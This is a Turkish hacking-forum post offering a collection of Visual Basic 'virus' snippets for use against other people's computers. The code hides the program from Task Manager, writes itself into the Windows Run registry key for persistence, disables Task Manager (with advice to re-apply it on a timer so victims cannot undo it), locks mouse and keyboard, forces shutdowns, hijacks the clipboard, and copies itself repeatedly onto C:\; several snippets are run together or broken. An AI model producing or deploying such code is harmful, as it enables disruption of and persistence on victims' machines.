Visual Basic Virusleri

ChikoBet · 22 Eki 2016

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Selamün Aleyküm Arkadaşlar ;[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Sizlere VB.NET'in Virüs kod arşivini sunmak istiyorum..[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Sub Timer1_Timer()
Clipboard.ClearClipboard.SetText "memoryhacker.net"
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]bu kod clipboard a memoryhacker.net kelimesini ekliyo ve copy/paste işleminde hep memoryhacker.net yazmasını sağlıyor[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
me.hide
app.taskvisible=false[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]formun açılmaması ve görev yöneticisinde gözükmemesi için[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]xp başlangıcına eklemek içindir.[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Integer, ByVal lParam As Any) As LongPrivate Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As LongPrivate Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As LongPrivate Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As LongPrivate Const WM_SETTEXT = &HCDim yazi As StringPrivate Sub Form_Load()yazi = "turkhackteam.net "App.TaskVisible = FalseForm1.HideEnd SubPrivate Sub Timer1_Timer()Dim tWnd As Long, bWnd As LongtWnd = FindWindow("Shell_TrayWnd", vbNullString)bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)SendMessage bWnd, WM_SETTEXT, &O0, yaziEnd Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Başlat yazısını değiştirmek[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Sub Form_Load()
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeCaption", "turkhackteam.net "
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON\LegalNoticeText", "Bilginin adresi"
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]windows başlamadan önce okunması için pencere açar[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Declare Function mciExecute Lib "winmm.dll" (ByVal lpstrCommand As String) As Long

Private Sub Command1_Click()
mciExecute ("set cdaudio door open")
End Sub

Private Sub Command2_Click()
mciExecute ("set cdaudio door closed")
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]cdrom açma ve kapama işlemini yapar[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Shell "shutdown -s -t 20", vbHide[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Bilgisayarı Kapatır[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]--------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Shell "shutdown -r -t 20", vbHide[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Yeniden Başlatır[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Shell "shutdown -l -t 20", vbHide[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]oturumu kapatır[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Shell "shutdown -a", vbHide[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kapatma İşleminden Çıkar[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]-----------------------[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:

Shell "shutdown -f", vbHide[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]çalışan uygulamaları uyarmadan kapanmaya zorlar[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kullanım: shutdown [-i | -l | -s | -r | -a] [-f] [-m \\bilgisayaradı] [-t xx] [-c "yorum"] [-d up:xx:yy][/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]
-i GUI arabirimini görüntüle, ilk seçenek olmalı
-l Oturum kapat (-m seçeneği ile kullanılamaz)
-s Bilgisayarı kapat
-r Bilgisayarı kapat ve yeniden başlat
-a Sistem kapatmasından çık
-m \\bilgisayaradı Yeniden başlatmak/çıkmak için uzak bilgisayar
-t xx Kapatmak için zaman aşımını xx saniyeye ayarla
-c "comment" Kapatma yorumu (en çok 127 karakter)
-f çalışan uygulamaları uyarmadan kapanmaya zorlar
-d [p]:xx:yy Kapatma için neden kodu[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]------------------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Sub Form_Load()
Timer1.Interval = 100
End Sub

Private Sub Timer1_Timer()
Beep
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]durmadan Beep sesi çıkarıyo gıçık edici bi kod

[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Dim speech As SpVoicePrivate Sub Command1_Click()speech.Speak Text1End SubPrivate Sub Form_Load()Set speech = New SpVoiceEnd Sub[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]yazıları sese çevirir korkutmak için ideal durmadan hacked sesinin geldiğini düşünsenize [/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]üstteki uygulama için 1 buton 1 text eklemeniz [/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]ayrıca project > preferences sekmesinden microsoft speech object library eklemeniz gerekiyor.[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]----------------------------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Sub Form_Load()
Printer.Print "www.turkhackteam.net Türkiyenin En Büyük Bilgi & Hacking Platofrmu"
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]yazıcıdan çıktı almak ta gayet korkutucudur [/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]--------------------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Arkadaşlar bilgisayarın Görev Yöneticisini Kayapabilmek için gereken kodları aşağıya yazdım bu kodları formda yerine yerleştirirseniz CTRL+ALT+DEL e bastıgı zaman hazırladığınız programı kapanması için görevi sonlandırması gerekecek onuda yapmasına imkan vermiyecez..! Bunu uygulamak için öncelikle form a 2 tane Command butonu yerleştirelim ve bu aşağıdaki kodları form a yapıştırın.![/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Command1: Görev Yöneticisini Aktif Yapmak için.[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Command2: Görev Yöneticisini Kapatmak için.[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Option Explicit
Dim r As Long
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub

Public Property Get ReadKey(Value As String) As String
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
r = b.RegRead(Value)
ReadKey = r
End Property
Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value
End Sub

' Simdi Taskmanager'i enable / diable yapabiliriz.
'0= enable, 1=disable
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
'KOMUTLAR BUTONLARA VERİLDİ AMA PUPLİC FONKSİYON NEDİR SORULACAK

' En kolayı birer fonksiyon yazarak onnları çağırmak. Fonksiyonları public yazın da program içinden her yerden çağırılsın:

Public Function Disabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "1"
End Function

Public Function enabletaskmanager()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskmgr", "0"
End Function

Private Sub Command1_Click()
call enabletaskmanager
End Sub

Private Sub Command2_Click()
call Disabletaskmanager
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Bitti... Bu en çok kullanılanıdır [/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Size tavsiyem Muhakkak timerların kod bölümüne koymanızdır disabled bölümlerini.[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Çünkü karşıdaki enabled edebilmek için kod yazarsa kurtulması kolay olacaktır...[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]-----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Private Sub Form_Load()
BlockInput True
End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Mouse+Klavyeyi Kilitler[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]-----------------------------[/FONT]

[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Kod:
Private Sub Form_Load()Timer1.Enabled = TrueTimer1.Interval = 500App.TaskVisible = FalseOn Error Resume NextMe.HideDim KayitDefteri As ObjectSet KayitDefteri = CreateObject("wscript.shell")KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CUR RENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"End SubPrivate Sub Timer1_Timer()Dim asia1, asia2, asia3, asia3asia1 = Rnd * 100asia2 = App.Path & "\" & App.EXEName & ".exe"asia3 = asia1 & ".exe"FileCopy yol, "c:\" & asia3 & ""End Sub[/FONT]
[font=open_sansregular, Tahoma, Verdana, Arial, sans-serif]Yarım saniyede C:\ diskine 100 adet kopyalar ve kendini gizler.Kendini windows açılış kayt defterine ekler boylece her açılışta yeniden açılır . . .[/FONT]

Ara

Visual Basic Virusleri

ChikoBet

Benzer Konular